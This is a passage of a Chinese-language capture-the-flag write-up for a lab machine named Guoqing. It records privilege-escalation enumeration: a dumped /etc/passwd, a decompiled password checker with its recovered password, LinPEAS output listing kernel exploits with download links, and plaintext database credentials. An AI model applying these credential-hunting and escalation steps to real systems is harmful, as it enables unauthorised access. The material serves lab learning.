news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
segfault:x:1000:1000:,,,:/home/segfault:/bin/bash
hyh:x:1001:1001:,,,:/home/hyh:/bin/bash
todd:x:1002:1002:,,,:/home/todd:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;segfaultno8&lt;/h2&gt;
&lt;p&gt;/opt/password&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/opt$ strings password /lib64/ld-linux-x86-64.so.2 mgUa strcpy puts stdin printf fgets strlen strcspn __ctype_b_loc __cxa_finalize strcmp __libc_start_main libc.so.6 GLIBC_2.3 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH gfffH vhjidxowH []A\A]A^A_ Please enter the password for segfault: Incorrect password length. The password should be %d characters long. Please try again: Password correct! Access granted. Incorrect password. Please try again: Too many failed attempts. Access denied. ;*3$&amp;quot; GCC: (Debian 10.2.1-6) 10.2.1 20210110 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry password.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable strcpy@GLIBC_2.2.5 puts@GLIBC_2.2.5 stdin@GLIBC_2.2.5 _edata strlen@GLIBC_2.2.5 printf@GLIBC_2.2.5 strcspn@GLIBC_2.2.5 __libc_start_main@GLIBC_2.2.5 fgets@GLIBC_2.2.5 __data_start strcmp@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main caesar_encrypt __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@GLIBC_2.2.5 __ctype_b_loc@GLIBC_2.3 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;scp hyh@192.168.0.101:/opt/password /home/kali/Desktop/hmv/password
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pwndbg下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char dest[64]; // [rsp+0h] [rbp-90h] BYREF
  char s[64]; // [rsp+40h] [rbp-50h] BYREF
  char s2[12]; // [rsp+80h] [rbp-10h] BYREF
  int v7; // [rsp+8Ch] [rbp-4h]

  strcpy(s2, &amp;quot;vhjidxowqr1&amp;quot;);
  v7 = 0;
  printf(&amp;quot;Please enter the password for segfault: &amp;quot;);
  while ( fgets(s, 50, stdin) )
  {
    s[strcspn(s, &amp;quot;\n&amp;quot;)] = 0;
    if ( strlen(s) == 11 )
    {
      strcpy(dest, s);
      caesar_encrypt(dest);
      if ( !strcmp(dest, s2) )
      {
        puts(&amp;quot;Password correct! Access granted.&amp;quot;);
        return 0;
      }
      printf(&amp;quot;Incorrect password. Please try again: &amp;quot;);
      if ( ++v7 &amp;gt; 4 )
      {
        puts(&amp;quot;\nToo many failed attempts. Access denied.&amp;quot;);
        return 1;
      }
    }
    else
    {
      printf(&amp;quot;Incorrect password length. The password should be %d characters long.\n&amp;quot;, 11LL);
      printf(&amp;quot;Please try again: &amp;quot;);
    }
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到凭据&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:/opt$ ./password 
Please enter the password for segfault: ykmlgarz456
Incorrect password. Please try again: segfaultno8
Password correct! Access granted.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到密码segfaultno8&lt;/p&gt;
&lt;p&gt;尝试登录没成功&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:/home/segfault$ cat name1.txt 
sublarge
hyh@Guoqing:/home/segfault$ cat name2.txt 
bamuwe
hyh@Guoqing:/home/segfault$ cat name3.txt 
LingMj
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试组合作为密码登录没成功&lt;/p&gt;
&lt;p&gt;segfaultno8&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:~$ find / -user segfault -type f 2&amp;gt;/dev/null
/usr/local/bin/irc_bot.py
/home/segfault/.bash_logout
/home/segfault/.bashrc
/home/segfault/.profile
hyh@Guoqing:~$ cat /usr/local/bin/irc_bot.pycat: /usr/local/bin/irc_bot.py: Permission denied
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:~$ cat /etc/systemd/system/irc_bot.service
[Unit]
Description=IRC Bot Service
After=network.target

[Service]
User=pycrtlake
Group=pycrtlake
WorkingDirectory=/usr/local/bin
ExecStart=/usr/bin/python3 /usr/local/bin/irc_bot.py
Restart=always
RestartSec=5
StandardOutput=syslog
StandardError=syslog
Environment=PYTHONUNBUFFERED=1

[Install]
WantedBy=multi-user.target
hyh@Guoqing:~$ ls -la /etc/inspircd/
ls: cannot open directory &amp;#39;/etc/inspircd/&amp;#39;: Permission denied
hyh@Guoqing:~$ cat /etc/inspircd/*.conf 2&amp;gt;/dev/null
hyh@Guoqing:~$ cat /var/log/inspircd.log
cat: /var/log/inspircd.log: Permission denied
hyh@Guoqing:~$ tail -100 /var/log/inspircd.log
tail: cannot open &amp;#39;/var/log/inspircd.log&amp;#39; for reading: Permission denied
hyh@Guoqing:~$ cat /usr/local/bin/calc-prorate
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from tempora import calculate_prorated_values
if __name__ == &amp;#39;__main__&amp;#39;:
    sys.argv[0] = re.sub(r&amp;#39;(-script\.pyw|\.exe)?$&amp;#39;, &amp;#39;&amp;#39;, sys.argv[0])
    sys.exit(calculate_prorated_values())
hyh@Guoqing:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;1.weechat│WeeChat 3.0 (C) 2003-2020 - https://weechat.&amp;gt;&amp;gt;
         │07:33:49     |   __ |/ |/ / /  __/  __/ /___
         │             | _  / / / /_/ // /_  
         │07:33:49     |   ____/|__/  \___/\___/\____/
         │             | /_/ /_/\__,_/ \__/  
         │07:33:49     | WeeChat 3.0 [compiled on Jan 23
         │             | 2022 14:29:14]
         │07:33:49     | - - - - - - - - - - - - - - - -
         │             | - - - - - - - - - - - - - - - -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没招了&lt;/p&gt;
&lt;h2&gt;本地 IRC 服务 + 可交互 bot&lt;/h2&gt;
&lt;h3&gt;1️⃣ nc 根本不存在&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nc: command not found
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2️⃣ inspircd 并未监听任何 IRC 端口&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;你之前 &lt;strong&gt;&lt;code&gt;**ss -lntup**&lt;/code&gt;&lt;/strong&gt; 的结果只有：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;22
80
3306 (127.0.0.1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉** **&lt;strong&gt;没有 6667 / 6697&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3️⃣** weechat 只是你“本地客户端”**&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;你现在看到的：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;WeeChat 3.0
irc: unable to add temporary server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**只是你启动了 &lt;strong&gt;&lt;strong&gt;IRC 客户端程序本身&lt;/strong&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;👉&lt;/strong&gt; **&lt;strong&gt;不是连上了任何服务器&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4️⃣** 你在 bash 里敲的这些：**&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;NICK hyh
!auth segfaultno8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;全部变成：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-bash: command not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**这说明：&lt;br&gt;**&lt;strong&gt;你从头到尾根本没连进任何 IRC session。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;linpeas&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html                                                      
 LEGEND:                                                
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console &amp;amp; mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting LinPEAS. Caching Writable Folders...
                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                             
                               ╚═══════════════════╝    
OS: Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
User &amp;amp; Groups: uid=1001(hyh) gid=1001(hyh) groups=1001(hyh)
Hostname: Guoqing

[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)           
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h) 
                                                        

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE  
                                                        
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                              
                              ╚════════════════════╝    
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits               
Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version                  
Sudo version 1.9.5p2                                    


╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses          
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

╔══════════╣ Date &amp;amp; uptime
Sat 17 Jan 2026 07:44:53 AM EST                         
 07:44:53 up  2:17,  2 users,  load average: 0.00, 0.00, 0.00

╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices               
UUID=80e68759-1ca0-45eb-82a7-601b1f78dfe5 /               ext4    errors=remount-ro 0       1
UUID=257f425d-1ea4-4b8e-8dd8-69523f25d249 none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk                                                    
sda
sda1
sda2
sda5

╔══════════╣ Environment
╚ Any private information inside environment variables? 
USER=hyh                                                
SSH_CLIENT=192.168.0.106 35646 22
SHLVL=1
HOME=/home/hyh
SSH_TTY=/dev/pts/1
LOGNAME=hyh
_=/tmp/linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1001
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/home/hyh
SSH_CONNECTION=192.168.0.106 35646 192.168.0.101 22

╔══════════╣ Searching Signature verification failed in dmesg                                                   
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed                                                   
dmesg Not Found                                         
                                                        
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester      
[+] [CVE-2019-13272] PTRACE_TRACEME                     

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: highly probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded


╔══════════╣ Protections
═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.
apparmor module is loaded.
═╣ AppArmor profile? .............. unconfined
═╣ is linuxONE? ................... s390x Not Found
═╣ grsecurity present? ............ grsecurity Not Found
═╣ PaX bins present? .............. PaX Not Found       
═╣ Execshield enabled? ............ Execshield Not Found
═╣ SELinux enabled? ............... sestatus Not Found  
═╣ Seccomp enabled? ............... disabled            
═╣ User namespace? ................ enabled
═╣ Cgroup2 enabled? ............... enabled
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (oracle)        

╔══════════╣ Kernel Modules Information
══╣ Kernel modules with weak perms?                     
                                                        
══╣ Kernel modules loadable? 
Modules can be loaded                                   



                                   ╔═══════════╗
═══════════════════════════════════╣ Container ╠═══════════════════════════════════                             
                                   ╚═══════════╝        
╔══════════╣ Container related tools present (if any):
/usr/sbin/apparmor_parser                               
/usr/bin/nsenter
/usr/bin/unshare
/usr/sbin/chroot
/usr/sbin/capsh
/usr/sbin/setcap
/usr/sbin/getcap

╔══════════╣ Container details
═╣ Is this a container? ........... No                  
═╣ Any running containers? ........ No                  
                                        
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;wechat&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:~/.weechat$ cat ~/.weechat/irc.conf
#
# weechat -- irc.conf
#
# WARNING: It is NOT recommended to edit this file by hand,
# especially if WeeChat is running.
#
# Use /set or similar command to change settings in WeeChat.
#
# For more info, see: https://weechat.org/doc/quickstart
#

[look]
buffer_open_before_autojoin = on
buffer_open_before_join = off
buffer_switch_autojoin = on
buffer_switch_join = on
color_nicks_in_names = off
color_nicks_in_nicklist = off
color_nicks_in_server_messages = on
color_pv_nick_like_channel = on
ctcp_time_format = &amp;quot;%a, %d %b %Y %T %z&amp;quot;
display_away = local
display_ctcp_blocked = on
display_ctcp_reply = on
display_ctcp_unknown = on
display_host_join = on
display_host_join_local = on
display_host_quit = on
display_join_message = &amp;quot;329,332,333,366&amp;quot;
display_old_topic = on
display_pv_away_once = on
display_pv_back = on
display_pv_warning_address = off
highlight_channel = &amp;quot;$nick&amp;quot;
highlight_pv = &amp;quot;$nick&amp;quot;
highlight_server = &amp;quot;$nick&amp;quot;
highlight_tags_restrict = &amp;quot;irc_privmsg,irc_notice&amp;quot;
item_channel_modes_hide_args = &amp;quot;k&amp;quot;
item_display_server = buffer_plugin
item_nick_modes = on
item_nick_prefix = on
join_auto_add_chantype = off
msgbuffer_fallback = current
new_channel_position = none
new_pv_position = none
nick_completion_smart = speakers
nick_mode = prefix
nick_mode_empty = off
nicks_hide_password = &amp;quot;nickserv&amp;quot;
notice_as_pv = auto
notice_welcome_redirect = on
notice_welcome_tags = &amp;quot;&amp;quot;
notify_tags_ison = &amp;quot;notify_message&amp;quot;
notify_tags_whois = &amp;quot;notify_message&amp;quot;
part_closes_buffer = off
pv_buffer = independent
pv_tags = &amp;quot;notify_private&amp;quot;
raw_messages = 256
server_buffer = merge_with_core
smart_filter = on
smart_filter_account = on
smart_filter_chghost = on
smart_filter_delay = 5
smart_filter_join = on
smart_filter_join_unmask = 30
smart_filter_mode = &amp;quot;+&amp;quot;
smart_filter_nick = on
smart_filter_quit = on
temporary_servers = off
topic_strip_colors = off

[color]
input_nick = lightcyan
item_channel_modes = default
item_lag_counting = default
item_lag_finished = yellow
item_nick_modes = default
message_account = cyan
message_chghost = brown
message_join = green
message_kick = red
message_quit = red
mirc_remap = &amp;quot;1,-1:darkgray&amp;quot;
nick_prefixes = &amp;quot;y:lightred;q:lightred;a:lightcyan;o:lightgreen;h:lightmagenta;v:yellow;*:lightblue&amp;quot;
notice = green
reason_kick = default
reason_quit = default
topic_current = default
topic_new = white
topic_old = default

[network]
autoreconnect_delay_growing = 2
autoreconnect_delay_max = 600
ban_mask_default = &amp;quot;*!$ident@$host&amp;quot;
colors_receive = on
colors_send = on
lag_check = 60
lag_max = 1800
lag_min_show = 500
lag_reconnect = 300
lag_refresh_interval = 1
notify_check_ison = 1
notify_check_whois = 5
sasl_fail_unavailable = on
send_unknown_commands = off
whois_double_nick = off

[msgbuffer]

[ctcp]

[ignore]

[server_default]
addresses = &amp;quot;&amp;quot;
anti_flood_prio_high = 2
anti_flood_prio_low = 2
autoconnect = off
autojoin = &amp;quot;&amp;quot;
autoreconnect = on
autoreconnect_delay = 10
autorejoin = off
autorejoin_delay = 30
away_check = 0
away_check_max_nicks = 25
capabilities = &amp;quot;&amp;quot;
charset_message = message
command = &amp;quot;&amp;quot;
command_delay = 0
connection_timeout = 60
ipv6 = on
local_hostname = &amp;quot;&amp;quot;
msg_kick = &amp;quot;&amp;quot;
msg_part = &amp;quot;WeeChat ${info:version}&amp;quot;
msg_quit = &amp;quot;WeeChat ${info:version}&amp;quot;
nicks = &amp;quot;hyh,hyh1,hyh2,hyh3,hyh4&amp;quot;
nicks_alternate = on
notify = &amp;quot;&amp;quot;
password = &amp;quot;&amp;quot;
proxy = &amp;quot;&amp;quot;
realname = &amp;quot;&amp;quot;
sasl_fail = continue
sasl_key = &amp;quot;&amp;quot;
sasl_mechanism = plain
sasl_password = &amp;quot;&amp;quot;
sasl_timeout = 15
sasl_username = &amp;quot;&amp;quot;
split_msg_max_length = 512
ssl = off
ssl_cert = &amp;quot;&amp;quot;
ssl_dhkey_size = 2048
ssl_fingerprint = &amp;quot;&amp;quot;
ssl_password = &amp;quot;&amp;quot;
ssl_priorities = &amp;quot;NORMAL:-VERS-SSL3.0&amp;quot;
ssl_verify = on
usermode = &amp;quot;&amp;quot;
username = &amp;quot;hyh&amp;quot;

[server]


hyh@Guoqing:~/.weechat$ cat ~/.weechat/sec.conf
#
# weechat -- sec.conf
#
# WARNING: It is NOT recommended to edit this file by hand,
# especially if WeeChat is running.
#
# Use /set or similar command to change settings in WeeChat.
#
# For more info, see: https://weechat.org/doc/quickstart
#

[crypt]
cipher = aes256
hash_algo = sha256
passphrase_file = &amp;quot;&amp;quot;
salt = on

[data]


hyh@Guoqing:~/.weechat$ cd ~/.weechat/logs
hyh@Guoqing:~/.weechat/logs$ ls -lah
total 12K
drwx------ 2 hyh hyh 4.0K Jan 17 07:31 .
drwxr-xr-x 8 hyh hyh 4.0K Jan 17 07:33 ..
-rw-r--r-- 1 hyh hyh 2.9K Jan 17 07:35 core.weechat.weechatlog
hyh@Guoqin

hyh@Guoqing:~/.weechat/logs$ ls -lah
total 12K
drwx------ 2 hyh hyh 4.0K Jan 17 07:31 .
drwxr-xr-x 8 hyh hyh 4.0K Jan 17 07:33 ..
-rw-r--r-- 1 hyh hyh 2.9K Jan 17 07:35 core.weechat.weechatlog


hyh@Guoqing:~/.weechat/logs$ cat core.weechat.weechatlog 
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-1;5P =&amp;gt; /bar scroll buflist * -100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-1;5Q =&amp;gt; /bar scroll buflist * +100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-meta-OQ =&amp;gt; /bar scroll buflist * e
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-1;3Q =&amp;gt; /bar scroll buflist * e
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-1;3P =&amp;gt; /bar scroll buflist * b
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-meta-OP =&amp;gt; /bar scroll buflist * b
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-B =&amp;gt; /buflist toggle
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-OQ =&amp;gt; /bar scroll buflist * +100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-OP =&amp;gt; /bar scroll buflist * -100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-meta2-12~ =&amp;gt; /bar scroll buflist * e
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta-meta2-11~ =&amp;gt; /bar scroll buflist * b
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-12^ =&amp;gt; /bar scroll buflist * +100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-12~ =&amp;gt; /bar scroll buflist * +100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-11^ =&amp;gt; /bar scroll buflist * -100%
2026-01-17 07:31:59             New key binding (context &amp;quot;default&amp;quot;): meta2-11~ =&amp;gt; /bar scroll buflist * -100%
2026-01-17 07:31:59             Plugins loaded: alias, buflist, charset, exec, fifo, fset, irc, logger, perl, python, relay, ruby, script, spell, trigger, xfer
2026-01-17 07:32:45     =!=     You can not write text in this buffer
2026-01-17 07:32:48     =!=     You can not write text in this buffer
2026-01-17 07:32:55     =!=     You can not write text in this buffer
2026-01-17 07:33:33     =!=     Error: WeeChat main buffer can&amp;#39;t be closed
2026-01-17 07:33:44             fifo: pipe closed
2026-01-17 07:33:49             Plugins loaded: alias, buflist, charset, exec, fifo, fset, irc, logger, perl, python, relay, ruby, script, spell, trigger, xfer
2026-01-17 07:34:28     =!=     irc: unable to add temporary server &amp;quot;127.0.0.1/6667&amp;quot; because the addition of temporary servers with command /connect is currently disabled
2026-01-17 07:34:28     =!=     irc: if you want to add a standard server, use the command &amp;quot;/server add&amp;quot; (see /help server); if you really want to add a temporary server (NOT SAVED), turn on the option irc.look.temporary_servers
2026-01-17 07:34:44     =!=     irc: unable to add temporary server &amp;quot;127.0.0.1/7000&amp;quot; because the addition of temporary servers with command /connect is currently disabled
2026-01-17 07:34:44     =!=     irc: if you want to add a standard server, use the command &amp;quot;/server add&amp;quot; (see /help server); if you really want to add a temporary server (NOT SAVED), turn on the option irc.look.temporary_servers
2026-01-17 07:34:49     =!=     irc: command &amp;quot;list&amp;quot; must be executed on irc buffer (server, channel or private)

hyh@Guoqing:~/.weechat/logs$ ls ~/.weechat/python
autoload
hyh@Guoqing:~/.weechat/logs$ cd ~/.weechat/python
hyh@Guoqing:~/.weechat/python$ cd autoload/
hyh@Guoqing:~/.weechat/python/autoload$ ls
hyh@Guoqing:~/.weechat/python/autoload$ ls -al
total 8
drwxr-xr-x 2 hyh hyh 4096 Jan 17 07:31 .
drwxr-xr-x 3 hyh hyh 4096 Jan 17 07:31 ..
hyh@Guoqing:~/.weechat/python/autoload$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1️⃣ &lt;code&gt;irc.conf&lt;/code&gt; —— 没有任何服务器配置&lt;/h3&gt;
&lt;h3&gt;2️⃣ &lt;code&gt;sec.conf&lt;/code&gt; —— 空数据区（最关键的否定证据）&lt;/h3&gt;
&lt;h3&gt;3️⃣ &lt;code&gt;logs/&lt;/code&gt; —— 只有 core 日志，没有 irc 日志&lt;/h3&gt;
&lt;h3&gt;4️⃣ &lt;code&gt;python/autoload/&lt;/code&gt; 是空的&lt;/h3&gt;
&lt;h2&gt;/usr/local/bin/calc-prorate&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:~$ find /usr/local/bin -type f -executable -ls 2&amp;gt;/dev/null
   286861      4 -rwxr-xr-x   1 root     root          248 Apr  1  2025 /usr/local/bin/calc-prorate
hyh@Guoqing:~$ cat /usr/local/bin/calc-prorate
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from tempora import calculate_prorated_values
if __name__ == &amp;#39;__main__&amp;#39;:
    sys.argv[0] = re.sub(r&amp;#39;(-script\.pyw|\.exe)?$&amp;#39;, &amp;#39;&amp;#39;, sys.argv[0])
    sys.exit(calculate_prorated_values())
hyh@Guoqing:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1️⃣ 权限不对&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;-rwxr-xr-x 1 root root
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;无 SUID

无 capability

普通 root-owned 可执行文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2️⃣ 代码本身“无状态、无输入”&lt;/h3&gt;
&lt;p&gt;from tempora import calculate_prorated_values&lt;/p&gt;
&lt;p&gt;sys.exit(calculate_prorated_values())&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;不接收外部参数

不读文件

不执行 shell

不涉及用户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 这是一个 APT/系统遗留工具，不是 CTF 点。&lt;/p&gt;
&lt;h2&gt;segfault&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;segfault&lt;/code&gt; 是 &lt;strong&gt;Segmentation Fault&lt;/strong&gt; 的缩写。&lt;/li&gt;
&lt;li&gt;当程序尝试访问 &lt;strong&gt;它无权访问的内存&lt;/strong&gt;（比如读写未分配的地址或只读段）时，操作系统会报这个错误。&lt;/li&gt;
&lt;li&gt;通常表现为：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Segmentation fault (core dumped)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;发生原因：&lt;/li&gt;
&lt;li&gt;访问空指针 (&lt;code&gt;NULL&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;越界访问数组&lt;/li&gt;
&lt;li&gt;使用已经释放的内存（悬空指针）&lt;/li&gt;
&lt;li&gt;栈溢出&lt;/li&gt;
&lt;li&gt;对应的信号编号是 &lt;strong&gt;SIGSEGV（信号 11）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3306&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;DB_USER = admin
DB_PASS = toddishandsome
DB_NAME = login_system

mysql -u admin -p
# 密码：toddishandsome
试了下
里面没翻出来啥也没办法提权
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;三个用户名&lt;/h2&gt;
